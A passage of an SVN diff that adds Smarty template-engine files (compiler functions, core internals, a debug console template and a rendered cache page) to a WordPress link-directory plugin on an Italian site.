+                        $compiled_ref = "(\$this->_foreach[$_var]['iteration'] == \$this->_foreach[$_var]['total'])";
+                        break;
+                        
+                    case 'show':
+                        array_shift($indexes);
+                        $compiled_ref = "(\$this->_foreach[$_var]['total'] > 0)";
+                        break;
+                        
+                    default:
+                        unset($_max_index);
+                        $compiled_ref = "\$this->_foreach[$_var]";
+                }
+                break;
+
+            case 'section':
+                array_shift($indexes);
+                $_var = $this->_parse_var_props(substr($indexes[0], 1));
+                $compiled_ref = "\$this->_sections[$_var]";
+                break;
+
+            case 'get':
+                $compiled_ref = ($this->request_use_auto_globals) ? '$_GET' : "\$GLOBALS['HTTP_GET_VARS']";
+                break;
+
+            case 'post':
+                $compiled_ref = ($this->request_use_auto_globals) ? '$_POST' : "\$GLOBALS['HTTP_POST_VARS']";
+                break;
+
+            case 'cookies':
+                $compiled_ref = ($this->request_use_auto_globals) ? '$_COOKIE' : "\$GLOBALS['HTTP_COOKIE_VARS']";
+                break;
+
+            case 'env':
+                $compiled_ref = ($this->request_use_auto_globals) ? '$_ENV' : "\$GLOBALS['HTTP_ENV_VARS']";
+                break;
+
+            case 'server':
+                $compiled_ref = ($this->request_use_auto_globals) ? '$_SERVER' : "\$GLOBALS['HTTP_SERVER_VARS']";
+                break;
+
+            case 'session':
+                $compiled_ref = ($this->request_use_auto_globals) ? '$_SESSION' : "\$GLOBALS['HTTP_SESSION_VARS']";
+                break;
+
+            /*
+             * These cases are handled either at run-time or elsewhere in the
+             * compiler.
+             */
+            case 'request':
+                if ($this->request_use_auto_globals) {
+                    $compiled_ref = '$_REQUEST';
+                    break;
+                } else {
+                    $this->_init_smarty_vars = true;
+                }
+                return null;
+
+            case 'capture':
+                return null;
+
+            case 'template':
+                $compiled_ref = "'$this->_current_file'";
+                $_max_index = 1;
+                break;
+
+            case 'version':
+                $compiled_ref = "'$this->_version'";
+                $_max_index = 1;
+                break;
+
+            case 'const':
+                if ($this->security && !$this->security_settings['ALLOW_CONSTANTS']) {
+                    $this->_syntax_error("(secure mode) constants not permitted",
+                                         E_USER_WARNING, __FILE__, __LINE__);
+                    return;
+                }
+                array_shift($indexes);
+                if (preg_match('!^\.\w+$!', $indexes[0])) {
+                    $compiled_ref = '@' . substr($indexes[0], 1);
+                } else {
+                    $_val = $this->_parse_var_props(substr($indexes[0], 1));
+                    $compiled_ref = '@constant(' . $_val . ')';
+                }
+                $_max_index = 1;
+                break;
+
+            case 'config':
+                $compiled_ref = "\$this->_config[0]['vars']";
+                $_max_index = 3;
+                break;
+
+            case 'ldelim':
+                $compiled_ref = "'$this->left_delimiter'";
+                break;
+
+            case 'rdelim':
+                $compiled_ref = "'$this->right_delimiter'";
+                break;
+                
+            default:
+                $this->_syntax_error('$smarty.' . $_ref . ' is an unknown reference', E_USER_ERROR, __FILE__, __LINE__);
+                break;
+        }
+
+        if (isset($_max_index) && count($indexes) > $_max_index) {
+            $this->_syntax_error('$smarty' . implode('', $indexes) .' is an invalid reference', E_USER_ERROR, __FILE__, __LINE__);
+        }
+
+        array_shift($indexes);
+        return $compiled_ref;
+    }
+
+    /**
+     * compiles call to plugin of type $type with name $name
+     * returns a string containing the function-name or method call
+     * without the paramter-list that would have follow to make the
+     * call valid php-syntax
+     *
+     * @param string $type
+     * @param string $name
+     * @return string
+     */
+    function _compile_plugin_call($type, $name) {
+        if (isset($this->_plugins[$type][$name])) {
+            /* plugin loaded */
+            if (is_array($this->_plugins[$type][$name][0])) {
+                return ((is_object($this->_plugins[$type][$name][0][0])) ?
+                        "\$this->_plugins['$type']['$name'][0][0]->"    /* method callback */
+                        : (string)($this->_plugins[$type][$name][0][0]).'::'    /* class callback */
+                       ). $this->_plugins[$type][$name][0][1];
+
+            } else {
+                /* function callback */
+                return $this->_plugins[$type][$name][0];
+
+            }
+        } else {
+            /* plugin not loaded -> auto-loadable-plugin */
+            return 'smarty_'.$type.'_'.$name;
+
+        }
+    }
+
+    /**
+     * load pre- and post-filters
+     */
+    function _load_filters()
+    {
+        if (count($this->_plugins['prefilter']) > 0) {
+            foreach ($this->_plugins['prefilter'] as $filter_name => $prefilter) {
+                if ($prefilter === false) {
+                    unset($this->_plugins['prefilter'][$filter_name]);
+                    $_params = array('plugins' => array(array('prefilter', $filter_name, null, null, false)));
+                    require_once(SMARTY_CORE_DIR . 'core.load_plugins.php');
+                    smarty_core_load_plugins($_params, $this);
+                }
+            }
+        }
+        if (count($this->_plugins['postfilter']) > 0) {
+            foreach ($this->_plugins['postfilter'] as $filter_name => $postfilter) {
+                if ($postfilter === false) {
+                    unset($this->_plugins['postfilter'][$filter_name]);
+                    $_params = array('plugins' => array(array('postfilter', $filter_name, null, null, false)));
+                    require_once(SMARTY_CORE_DIR . 'core.load_plugins.php');
+                    smarty_core_load_plugins($_params, $this);
+                }
+            }
+        }
+    }
+
+
+    /**
+     * Quote subpattern references
+     *
+     * @param string $string
+     * @return string
+     */
+    function _quote_replace($string)
+    {
+        return strtr($string, array('\\' => '\\\\', '$' => '\\$'));
+    }
+
+    /**
+     * display Smarty syntax error
+     *
+     * @param string $error_msg
+     * @param integer $error_type
+     * @param string $file
+     * @param integer $line
+     */
+    function _syntax_error($error_msg, $error_type = E_USER_ERROR, $file=null, $line=null)
+    {
+        $this->_trigger_fatal_error("syntax error: $error_msg", $this->_current_file, $this->_current_line_no, $file, $line, $error_type);
+    }
+
+
+    /**
+     * check if the compilation changes from cacheable to
+     * non-cacheable state with the beginning of the current
+     * plugin. return php-code to reflect the transition.
+     * @return string
+     */
+    function _push_cacheable_state($type, $name) {
+        $_cacheable = !isset($this->_plugins[$type][$name]) || $this->_plugins[$type][$name][4];
+        if ($_cacheable
+            || 0<$this->_cacheable_state++) return '';
+        if (!isset($this->_cache_serial)) $this->_cache_serial = md5(uniqid('Smarty'));
+        $_ret = 'if ($this->caching && !$this->_cache_including) { echo \'{nocache:'
+            . $this->_cache_serial . '#' . $this->_nocache_count
+            . '}\'; };';
+        return $_ret;
+    }
+
+
+    /**
+     * check if the compilation changes from non-cacheable to
+     * cacheable state with the end of the current plugin return
+     * php-code to reflect the transition.
+     * @return string
+     */
+    function _pop_cacheable_state($type, $name) {
+        $_cacheable = !isset($this->_plugins[$type][$name]) || $this->_plugins[$type][$name][4];
+        if ($_cacheable
+            || --$this->_cacheable_state>0) return '';
+        return 'if ($this->caching && !$this->_cache_including) { echo \'{/nocache:'
+            . $this->_cache_serial . '#' . ($this->_nocache_count++)
+            . '}\'; };';
+    }
+
+
+    /**
+     * push opening tag-name, file-name and line-number on the tag-stack
+     * @param string the opening tag's name
+     */
+    function _push_tag($open_tag)
+    {
+        array_push($this->_tag_stack, array($open_tag, $this->_current_line_no));
+    }
+
+    /**
+     * pop closing tag-name
+     * raise an error if this stack-top doesn't match with the closing tag
+     * @param string the closing tag's name
+     * @return string the opening tag's name
+     */
+    function _pop_tag($close_tag)
+    {
+        $message = '';
+        if (count($this->_tag_stack)>0) {
+            list($_open_tag, $_line_no) = array_pop($this->_tag_stack);
+            if ($close_tag == $_open_tag) {
+                return $_open_tag;
+            }
+            if ($close_tag == 'if' && ($_open_tag == 'else' || $_open_tag == 'elseif' )) {
+                return $this->_pop_tag($close_tag);
+            }
+            if ($close_tag == 'section' && $_open_tag == 'sectionelse') {
+                $this->_pop_tag($close_tag);
+                return $_open_tag;
+            }
+            if ($close_tag == 'foreach' && $_open_tag == 'foreachelse') {
+                $this->_pop_tag($close_tag);
+                return $_open_tag;
+            }
+            if ($_open_tag == 'else' || $_open_tag == 'elseif') {
+                $_open_tag = 'if';
+            } elseif ($_open_tag == 'sectionelse') {
+                $_open_tag = 'section';
+            } elseif ($_open_tag == 'foreachelse') {
+                $_open_tag = 'foreach';
+            }
+            $message = " expected {/$_open_tag} (opened line $_line_no).";
+        }
+        $this->_syntax_error("mismatched tag {/$close_tag}.$message",
+                             E_USER_ERROR, __FILE__, __LINE__);
+    }
+
+}
+
+/**
+ * compare to values by their string length
+ *
+ * @access private
+ * @param string $a
+ * @param string $b
+ * @return 0|-1|1
+ */
+function _smarty_sort_length($a, $b)
+{
+    if($a == $b)
+        return 0;
+
+    if(strlen($a) == strlen($b))
+        return ($a > $b) ? -1 : 1;
+
+    return (strlen($a) > strlen($b)) ? -1 : 1;
+}
+
+
+/* vim: set et: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/cache/%%95^959^959BC755%%body.tpl
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/cache/%%95^959^959BC755%%body.tpl	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/cache/%%95^959^959BC755%%body.tpl	(revision 44)
@@ -0,0 +1,68 @@
+173
+a:4:{s:8:"template";a:3:{s:8:"body.tpl";b:1;s:10:"header.tpl";b:1;s:10:"footer.tpl";b:1;}s:9:"timestamp";i:1247318965;s:7:"expires";i:1247318965;s:13:"cache_serials";a:0:{}}
+<link rel="stylesheet" href="http://www.guidonia.net/wp/wp-content/plugins/odlinks/themes/default/css/odlinks.css" type="text/css" media="screen">
+
+
+<div class="odl_head">
+	Submitting your website URL link to <b>our free online web directory</b><br>
+	This will help you to get high quality traffic back to your site and increase your link popularity.
+	<div style="float:right; padding:5px; margin:5px; font-weight:bold; color:#006500;">PLEASE CHOOSE A TOPIC AND SUBMIT YOUR POST</div>
+	<!--div class="wpc_head_img"><img src=http://www.guidonia.net/wp/wp-content/plugins/odlinks/images/folder.gif></div-->
+	<div class="odl_head_desc"><a href="http://www.guidonia.net/wp/odlinks//">Open Directory Links</a>&nbsp;</div>
+</div><!--wpc_head--> 
+
+
+
+<div class="odl_list">
+	<div class="odl_list_top">
+		<div class="odl_search"> 
+			<form method="get" id="odl_addlink_post" name="odl_addlink_post" action="http://www.guidonia.net/wp/odlinks/searchlink/">
+			<table><tr><td>
+			<input type="text" name="search_terms" size="30" value="">
+			<input type="submit" value="Search">&nbsp;
+			</td></tr>
+			<tr><td align="left">
+			Links:&nbsp;<input type="radio" value="links" name="type">&nbsp;&nbsp;
+			Description:&nbsp;<input type="radio" value="desc" name="type">&nbsp;&nbsp;
+			All:&nbsp;<input type="radio" value="desc" name="type" checked>&nbsp;&nbsp;
+			</td></tr></table>
+			</form>
+		</div>
+					</div>
+</div>
+
+<P>
+<div class="odl_container">
+	<div class="odl_editform">
+		</div>
+	<div class="main-content">
+	
+	
+		<h3>Categories</h3></td>
+	<table border="0" width="100%" class="tbody" cellspacing="1" cellpadding="1">
+	<tr>
+		<td width="100%">
+		<table border="0" width="97%" cellspacing="3" cellpadding="3"><tr> 
+					<td valign="top" width="50%">
+	
+					<img src="http://www.guidonia.net/wp/wp-content/plugins/odlinks/images/folder.gif"><b><a href="http://www.guidonia.net/wp/odlinks/main/1">Enti Pubblici</a></b>(0)<br>
+								</td> 
+					 
+		</tr></table>
+		</td>
+	</tr>
+	</table>
+			<BR />
+	<BR />
+		<BR />
+			<div class="odl_googleAd"></div>
+		<h3>Legend</h3>
+	<span class ="smallTxt">Categories: 1, Links: 0</span>
+
+<div class="odl_footer"><img src="http://www.guidonia.net/wp/wp-content/plugins/odlinks/images/rss.png" />&nbsp;<a href="http://www.guidonia.net/wp/odlinks//">Open Directory Links</a><br />
+	
+	<div class="smallTxt">&nbsp;Open Directory Links Powered By <a href="http://www.forgani.com/" target="_blank">4gani</a> Version 1.0</div> 
+</div>
+
+</div><!--main-content-->
+</div><!--odl_container-->
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/cache/none
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/cache/none	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/cache/none	(revision 44)
@@ -0,0 +1,1 @@
+none
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/debug.tpl
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/debug.tpl	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/debug.tpl	(revision 44)
@@ -0,0 +1,64 @@
+{* Smarty *}
+
+{* debug.tpl, last updated version 2.0.1 *}
+
+{assign_debug_info}
+
+{if isset($_smarty_debug_output) and $_smarty_debug_output eq "html"}
+	<table border=0 width=100%>
+	<tr bgcolor=#cccccc><th colspan=2>Smarty Debug Console</th></tr>
+	<tr bgcolor=#cccccc><td colspan=2><b>included templates & config files (load time in seconds):</b></td></tr>
+	{section name=templates loop=$_debug_tpls}
+		<tr bgcolor={if %templates.index% is even}#eeeeee{else}#fafafa{/if}><td colspan=2><tt>{section name=indent loop=$_debug_tpls[templates].depth}&nbsp;&nbsp;&nbsp;{/section}<font color={if $_debug_tpls[templates].type eq "template"}brown{elseif $_debug_tpls[templates].type eq "insert"}black{else}green{/if}>{$_debug_tpls[templates].filename|escape:html}</font>{if isset($_debug_tpls[templates].exec_time)} <font size=-1><i>({$_debug_tpls[templates].exec_time|string_format:"%.5f"}){if %templates.index% eq 0} (total){/if}</i></font>{/if}</tt></td></tr>
+	{sectionelse}
+		<tr bgcolor=#eeeeee><td colspan=2><tt><i>no templates included</i></tt></td></tr>	
+	{/section}
+	<tr bgcolor=#cccccc><td colspan=2><b>assigned template variables:</b></td></tr>
+	{section name=vars loop=$_debug_keys}
+		<tr bgcolor={if %vars.index% is even}#eeeeee{else}#fafafa{/if}><td valign=top><tt><font color=blue>{ldelim}${$_debug_keys[vars]}{rdelim}</font></tt></td><td nowrap><tt><font color=green>{$_debug_vals[vars]|@debug_print_var}</font></tt></td></tr>
+	{sectionelse}
+		<tr bgcolor=#eeeeee><td colspan=2><tt><i>no template variables assigned</i></tt></td></tr>	
+	{/section}
+	<tr bgcolor=#cccccc><td colspan=2><b>assigned config file variables (outer template scope):</b></td></tr>
+	{section name=config_vars loop=$_debug_config_keys}
+		<tr bgcolor={if %config_vars.index% is even}#eeeeee{else}#fafafa{/if}><td valign=top><tt><font color=maroon>{ldelim}#{$_debug_config_keys[config_vars]}#{rdelim}</font></tt></td><td><tt><font color=green>{$_debug_config_vals[config_vars]|@debug_print_var}</font></tt></td></tr>
+	{sectionelse}
+		<tr bgcolor=#eeeeee><td colspan=2><tt><i>no config vars assigned</i></tt></td></tr>	
+	{/section}
+	</table>
+</BODY></HTML>
+{else}
+<SCRIPT language=javascript>
+	if( self.name == '' ) {ldelim}
+	   var title = 'Console';
+	{rdelim}
+	else {ldelim}
+	   var title = 'Console_' + self.name;
+	{rdelim}
+	_smarty_console = window.open("",title.value,"width=680,height=600,resizable,scrollbars=yes");
+	_smarty_console.document.write("<HTML><HEAD><TITLE>Smarty Debug Console_"+self.name+"</TITLE></HEAD><BODY bgcolor=#ffffff>");
+	_smarty_console.document.write("<table border=0 width=100%>");
+	_smarty_console.document.write("<tr bgcolor=#cccccc><th colspan=2>Smarty Debug Console</th></tr>");
+	_smarty_console.document.write("<tr bgcolor=#cccccc><td colspan=2><b>included templates & config files (load time in seconds):</b></td></tr>");
+	{section name=templates loop=$_debug_tpls}
+		_smarty_console.document.write("<tr bgcolor={if %templates.index% is even}#eeeeee{else}#fafafa{/if}><td colspan=2><tt>{section name=indent loop=$_debug_tpls[templates].depth}&nbsp;&nbsp;&nbsp;{/section}<font color={if $_debug_tpls[templates].type eq "template"}brown{elseif $_debug_tpls[templates].type eq "insert"}black{else}green{/if}>{$_debug_tpls[templates].filename|escape:html|escape:javascript}</font>{if isset($_debug_tpls[templates].exec_time)} <font size=-1><i>({$_debug_tpls[templates].exec_time|string_format:"%.5f"}){if %templates.index% eq 0} (total){/if}</i></font>{/if}</tt></td></tr>");
+	{sectionelse}
+		_smarty_console.document.write("<tr bgcolor=#eeeeee><td colspan=2><tt><i>no templates included</i></tt></td></tr>");	
+	{/section}
+	_smarty_console.document.write("<tr bgcolor=#cccccc><td colspan=2><b>assigned template variables:</b></td></tr>");
+	{section name=vars loop=$_debug_keys}
+		_smarty_console.document.write("<tr bgcolor={if %vars.index% is even}#eeeeee{else}#fafafa{/if}><td valign=top><tt><font color=blue>{ldelim}${$_debug_keys[vars]}{rdelim}</font></tt></td><td nowrap><tt><font color=green>{$_debug_vals[vars]|@debug_print_var|escape:javascript}</font></tt></td></tr>");
+	{sectionelse}
+		_smarty_console.document.write("<tr bgcolor=#eeeeee><td colspan=2><tt><i>no template variables assigned</i></tt></td></tr>");	
+	{/section}
+	_smarty_console.document.write("<tr bgcolor=#cccccc><td colspan=2><b>assigned config file variables (outer template scope):</b></td></tr>");
+	{section name=config_vars loop=$_debug_config_keys}
+		_smarty_console.document.write("<tr bgcolor={if %config_vars.index% is even}#eeeeee{else}#fafafa{/if}><td valign=top><tt><font color=maroon>{ldelim}#{$_debug_config_keys[config_vars]}#{rdelim}</font></tt></td><td><tt><font color=green>{$_debug_config_vals[config_vars]|@debug_print_var|escape:javascript}</font></tt></td></tr>");
+	{sectionelse}
+		_smarty_console.document.write("<tr bgcolor=#eeeeee><td colspan=2><tt><i>no config vars assigned</i></tt></td></tr>");	
+	{/section}
+	_smarty_console.document.write("</table>");
+	_smarty_console.document.write("</BODY></HTML>");
+	_smarty_console.document.close();
+</SCRIPT>
+{/if}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.assemble_plugin_filepath.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.assemble_plugin_filepath.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.assemble_plugin_filepath.php	(revision 44)
@@ -0,0 +1,67 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * assemble filepath of requested plugin
+ *
+ * @param string $type
+ * @param string $name
+ * @return string|false
+ */
+function smarty_core_assemble_plugin_filepath($params, &$smarty)
+{
+    static $_filepaths_cache = array();
+
+    $_plugin_filename = $params['type'] . '.' . $params['name'] . '.php';
+    if (isset($_filepaths_cache[$_plugin_filename])) {
+        return $_filepaths_cache[$_plugin_filename];
+    }
+    $_return = false;
+
+    foreach ((array)$smarty->plugins_dir as $_plugin_dir) {
+
+        $_plugin_filepath = $_plugin_dir . DIRECTORY_SEPARATOR . $_plugin_filename;
+
+        // see if path is relative
+        if (!preg_match("/^([\/\\\\]|[a-zA-Z]:[\/\\\\])/", $_plugin_dir)) {
+            $_relative_paths[] = $_plugin_dir;
+            // relative path, see if it is in the SMARTY_DIR
+            if (@is_readable(SMARTY_DIR . $_plugin_filepath)) {
+                $_return = SMARTY_DIR . $_plugin_filepath;
+                break;
+            }
+        }
+        // try relative to cwd (or absolute)
+        if (@is_readable($_plugin_filepath)) {
+            $_return = $_plugin_filepath;
+            break;
+        }
+    }
+
+    if($_return === false) {
+        // still not found, try PHP include_path
+        if(isset($_relative_paths)) {
+            foreach ((array)$_relative_paths as $_plugin_dir) {
+
+                $_plugin_filepath = $_plugin_dir . DIRECTORY_SEPARATOR . $_plugin_filename;
+
+                $_params = array('file_path' => $_plugin_filepath);
+                require_once(SMARTY_CORE_DIR . 'core.get_include_path.php');
+                if(smarty_core_get_include_path($_params, $smarty)) {
+                    $_return = $_params['new_file_path'];
+                    break;
+                }
+            }
+        }
+    }
+    $_filepaths_cache[$_plugin_filename] = $_return;
+    return $_return;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.assign_smarty_interface.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.assign_smarty_interface.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.assign_smarty_interface.php	(revision 44)
@@ -0,0 +1,43 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty assign_smarty_interface core plugin
+ *
+ * Type:     core<br>
+ * Name:     assign_smarty_interface<br>
+ * Purpose:  assign the $smarty interface variable
+ * @param array Format: null
+ * @param Smarty
+ */
+function smarty_core_assign_smarty_interface($params, &$smarty)
+{
+        if (isset($smarty->_smarty_vars) && isset($smarty->_smarty_vars['request'])) {
+            return;
+        }
+
+        $_globals_map = array('g'  => 'HTTP_GET_VARS',
+                             'p'  => 'HTTP_POST_VARS',
+                             'c'  => 'HTTP_COOKIE_VARS',
+                             's'  => 'HTTP_SERVER_VARS',
+                             'e'  => 'HTTP_ENV_VARS');
+
+        $_smarty_vars_request  = array();
+
+        foreach (preg_split('!!', strtolower($smarty->request_vars_order)) as $_c) {
+            if (isset($_globals_map[$_c])) {
+                $_smarty_vars_request = array_merge($_smarty_vars_request, $GLOBALS[$_globals_map[$_c]]);
+            }
+        }
+        $_smarty_vars_request = @array_merge($_smarty_vars_request, $GLOBALS['HTTP_SESSION_VARS']);
+
+        $smarty->_smarty_vars['request'] = $_smarty_vars_request;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.create_dir_structure.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.create_dir_structure.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.create_dir_structure.php	(revision 44)
@@ -0,0 +1,79 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * create full directory structure
+ *
+ * @param string $dir
+ */
+
+// $dir
+
+function smarty_core_create_dir_structure($params, &$smarty)
+{
+    if (!file_exists($params['dir'])) {
+        $_open_basedir_ini = ini_get('open_basedir');
+
+        if (DIRECTORY_SEPARATOR=='/') {
+            /* unix-style paths */
+            $_dir = $params['dir'];
+            $_dir_parts = preg_split('!/+!', $_dir, -1, PREG_SPLIT_NO_EMPTY);
+            $_new_dir = (substr($_dir, 0, 1)=='/') ? '/' : getcwd().'/';
+            if($_use_open_basedir = !empty($_open_basedir_ini)) {
+                $_open_basedirs = explode(':', $_open_basedir_ini);
+            }
+
+        } else {
+            /* other-style paths */
+            $_dir = str_replace('\\','/', $params['dir']);
+            $_dir_parts = preg_split('!/+!', $_dir, -1, PREG_SPLIT_NO_EMPTY);
+            if (preg_match('!^((//)|([a-zA-Z]:/))!', $_dir, $_root_dir)) {
+                /* leading "//" for network volume, or "[letter]:/" for full path */
+                $_new_dir = $_root_dir[1];
+                /* remove drive-letter from _dir_parts */
+                if (isset($_root_dir[3])) array_shift($_dir_parts);
+
+            } else {
+                $_new_dir = str_replace('\\', '/', getcwd()).'/';
+
+            }
+
+            if($_use_open_basedir = !empty($_open_basedir_ini)) {
+                $_open_basedirs = explode(';', str_replace('\\', '/', $_open_basedir_ini));
+            }
+
+        }
+
+        /* all paths use "/" only from here */
+        foreach ($_dir_parts as $_dir_part) {
+            $_new_dir .= $_dir_part;
+
+            if ($_use_open_basedir) {
+                // do not attempt to test or make directories outside of open_basedir
+                $_make_new_dir = false;
+                foreach ($_open_basedirs as $_open_basedir) {
+                    if (substr($_new_dir, 0, strlen($_open_basedir)) == $_open_basedir) {
+                        $_make_new_dir = true;
+                        break;
+                    }
+                }
+            } else {
+                $_make_new_dir = true;
+            }
+
+            if ($_make_new_dir && !file_exists($_new_dir) && !@mkdir($_new_dir, $smarty->_dir_perms) && !is_dir($_new_dir)) {
+                $smarty->trigger_error("problem creating directory '" . $_new_dir . "'");
+                return false;
+            }
+            $_new_dir .= '/';
+        }
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.display_debug_console.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.display_debug_console.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.display_debug_console.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty debug_console function plugin
+ *
+ * Type:     core<br>
+ * Name:     display_debug_console<br>
+ * Purpose:  display the javascript debug console window
+ * @param array Format: null
+ * @param Smarty
+ */
+function smarty_core_display_debug_console($params, &$smarty)
+{
+    // we must force compile the debug template in case the environment
+    // changed between separate applications.
+
+    if(empty($smarty->debug_tpl)) {
+        // set path to debug template from SMARTY_DIR
+        $smarty->debug_tpl = SMARTY_DIR . 'debug.tpl';
+        if($smarty->security && is_file($smarty->debug_tpl)) {
+            $smarty->secure_dir[] = realpath($smarty->debug_tpl);
+        }
+        $smarty->debug_tpl = 'file:' . SMARTY_DIR . 'debug.tpl';
+    }
+
+    $_ldelim_orig = $smarty->left_delimiter;
+    $_rdelim_orig = $smarty->right_delimiter;
+
+    $smarty->left_delimiter = '{';
+    $smarty->right_delimiter = '}';
+
+    $_compile_id_orig = $smarty->_compile_id;
+    $smarty->_compile_id = null;
+
+    $_compile_path = $smarty->_get_compile_path($smarty->debug_tpl);
+    if ($smarty->_compile_resource($smarty->debug_tpl, $_compile_path))
+    {
+        ob_start();
+        $smarty->_include($_compile_path);
+        $_results = ob_get_contents();
+        ob_end_clean();
+    } else {
+        $_results = '';
+    }
+
+    $smarty->_compile_id = $_compile_id_orig;
+
+    $smarty->left_delimiter = $_ldelim_orig;
+    $smarty->right_delimiter = $_rdelim_orig;
+
+    return $_results;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.get_include_path.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.get_include_path.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.get_include_path.php	(revision 44)
@@ -0,0 +1,44 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Get path to file from include_path
+ *
+ * @param string $file_path
+ * @param string $new_file_path
+ * @return boolean
+ * @staticvar array|null
+ */
+
+//  $file_path, &$new_file_path
+
+function smarty_core_get_include_path(&$params, &$smarty)
+{
+    static $_path_array = null;
+
+    if(!isset($_path_array)) {
+        $_ini_include_path = ini_get('include_path');
+
+        if(strstr($_ini_include_path,';')) {
+            // windows pathnames
+            $_path_array = explode(';',$_ini_include_path);
+        } else {
+            $_path_array = explode(':',$_ini_include_path);
+        }
+    }
+    foreach ($_path_array as $_include_path) {
+        if (@is_readable($_include_path . DIRECTORY_SEPARATOR . $params['file_path'])) {
+               $params['new_file_path'] = $_include_path . DIRECTORY_SEPARATOR . $params['file_path'];
+            return true;
+        }
+    }
+    return false;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.get_microtime.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.get_microtime.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.get_microtime.php	(revision 44)
@@ -0,0 +1,23 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Get seconds and microseconds
+ * @return double
+ */
+function smarty_core_get_microtime($params, &$smarty)
+{
+    $mtime = microtime();
+    $mtime = explode(" ", $mtime);
+    $mtime = (double)($mtime[1]) + (double)($mtime[0]);
+    return ($mtime);
+}
+
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.get_php_resource.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.get_php_resource.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.get_php_resource.php	(revision 44)
@@ -0,0 +1,80 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Retrieves PHP script resource
+ *
+ * sets $php_resource to the returned resource
+ * @param string $resource
+ * @param string $resource_type
+ * @param  $php_resource
+ * @return boolean
+ */
+
+function smarty_core_get_php_resource(&$params, &$smarty)
+{
+
+    $params['resource_base_path'] = $smarty->trusted_dir;
+    $smarty->_parse_resource_name($params, $smarty);
+
+    /*
+     * Find out if the resource exists.
+     */
+
+    if ($params['resource_type'] == 'file') {
+        $_readable = false;
+        if(file_exists($params['resource_name']) && is_readable($params['resource_name'])) {
+            $_readable = true;
+        } else {
+            // test for file in include_path
+            $_params = array('file_path' => $params['resource_name']);
+            require_once(SMARTY_CORE_DIR . 'core.get_include_path.php');
+            if(smarty_core_get_include_path($_params, $smarty)) {
+                $_include_path = $_params['new_file_path'];
+                $_readable = true;
+            }
+        }
+    } else if ($params['resource_type'] != 'file') {
+        $_template_source = null;
+        $_readable = is_callable($smarty->_plugins['resource'][$params['resource_type']][0][0])
+            && call_user_func_array($smarty->_plugins['resource'][$params['resource_type']][0][0],
+                                    array($params['resource_name'], &$_template_source, &$smarty));
+    }
+
+    /*
+     * Set the error function, depending on which class calls us.
+     */
+    if (method_exists($smarty, '_syntax_error')) {
+        $_error_funcc = '_syntax_error';
+    } else {
+        $_error_funcc = 'trigger_error';
+    }
+
+    if ($_readable) {
+        if ($smarty->security) {
+            require_once(SMARTY_CORE_DIR . 'core.is_trusted.php');
